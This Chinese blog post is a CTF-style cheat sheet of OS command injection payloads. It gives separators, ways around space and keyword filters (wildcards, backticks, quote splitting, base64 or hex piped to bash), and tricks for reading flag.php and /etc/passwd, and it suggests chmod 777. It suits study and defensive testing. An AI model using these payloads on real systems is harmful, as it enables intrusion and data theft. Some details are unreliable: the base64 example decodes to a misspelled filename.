命令执行总结

命令执行漏洞不仅存在于B/S(客户端,如网页端淘宝)架构中,也存在于C/S(服务器,如手机版淘宝)架构中

经典场景为某网站给出了ping查询功能,此时便可采用127.0.0.1;ls的方式进行系统命令的输入,通常接cat flag.php进行文件查询

基本使用场景及利用方式就这些,主要是一些绕过知识点的串联及运用,以下将详细说明

管道符:  ;  |  ||  &  &&  %0a  %0d

空格:   $IFS$9  ${IFS}   >   <>   %09(php中常用)

关键字被过滤: 

        通配符绕过:  fl?g  f*g

        内联执行:  cat `ls`     (内联,就是将反引号内的内容作为输出进行执行)

        拼接:  127.0.0.1;a=fl;b=ag.php;cat $a$b

        替换cat:cat:由第一行开始显示内容,并将所有内容输出
                        tac:从最后一行倒序显示内容,并将所有内容输出
                        more:根据窗口大小,一页一页的现实文件内容
                        less:和 more 类似,但其优点可以往前翻页,而且进行可以搜索字符
                        head:只显示头几行
                        tail:只显示最后几行

                       (需注意:cat不能使用通配符进行替换)

                       (cat绕过:/bin/cat  或  c'a't 单引号绕过)

        编码绕过:echo Y2F0IGZhbGcucGhw|base64 -d|bash   (相当于cat flag.php)(过滤了bash还可以用sh)

                         $(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”)    (也相当于cat flag.php)

花式读文件(cat绕过):

        /bin/cat  或  c'a't 单引号绕过

        curl file://文件的绝对路径,如target=127.0.0.1;curl file :///var/www/html/flag.php

        文件的绝对路径查询方式:pwd

        长语句花哨读取:target=127.0.0.1;paste ./flag.php/etc/passwd 将flag和当前页面的php文件都打印出来(不实用);target=127.0.0.1;diff ./flag.php/etc/passwd(将结果进行对比,也不实用)

        冷门:target=127.0.0.1;od -a flag.php 以16进制的方式读取并解码(若不将参加参数-a则不会自动解码,直接以16进制的方式进行显示)

注意:在命令执行前需注意所读取文件的权限问题r、w、x三个组别,分别代表读、写、执行三个权限,权值分别为4、2、1

        ls -la查看文件权限

        Chmod 777 文件名 :提高文件权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值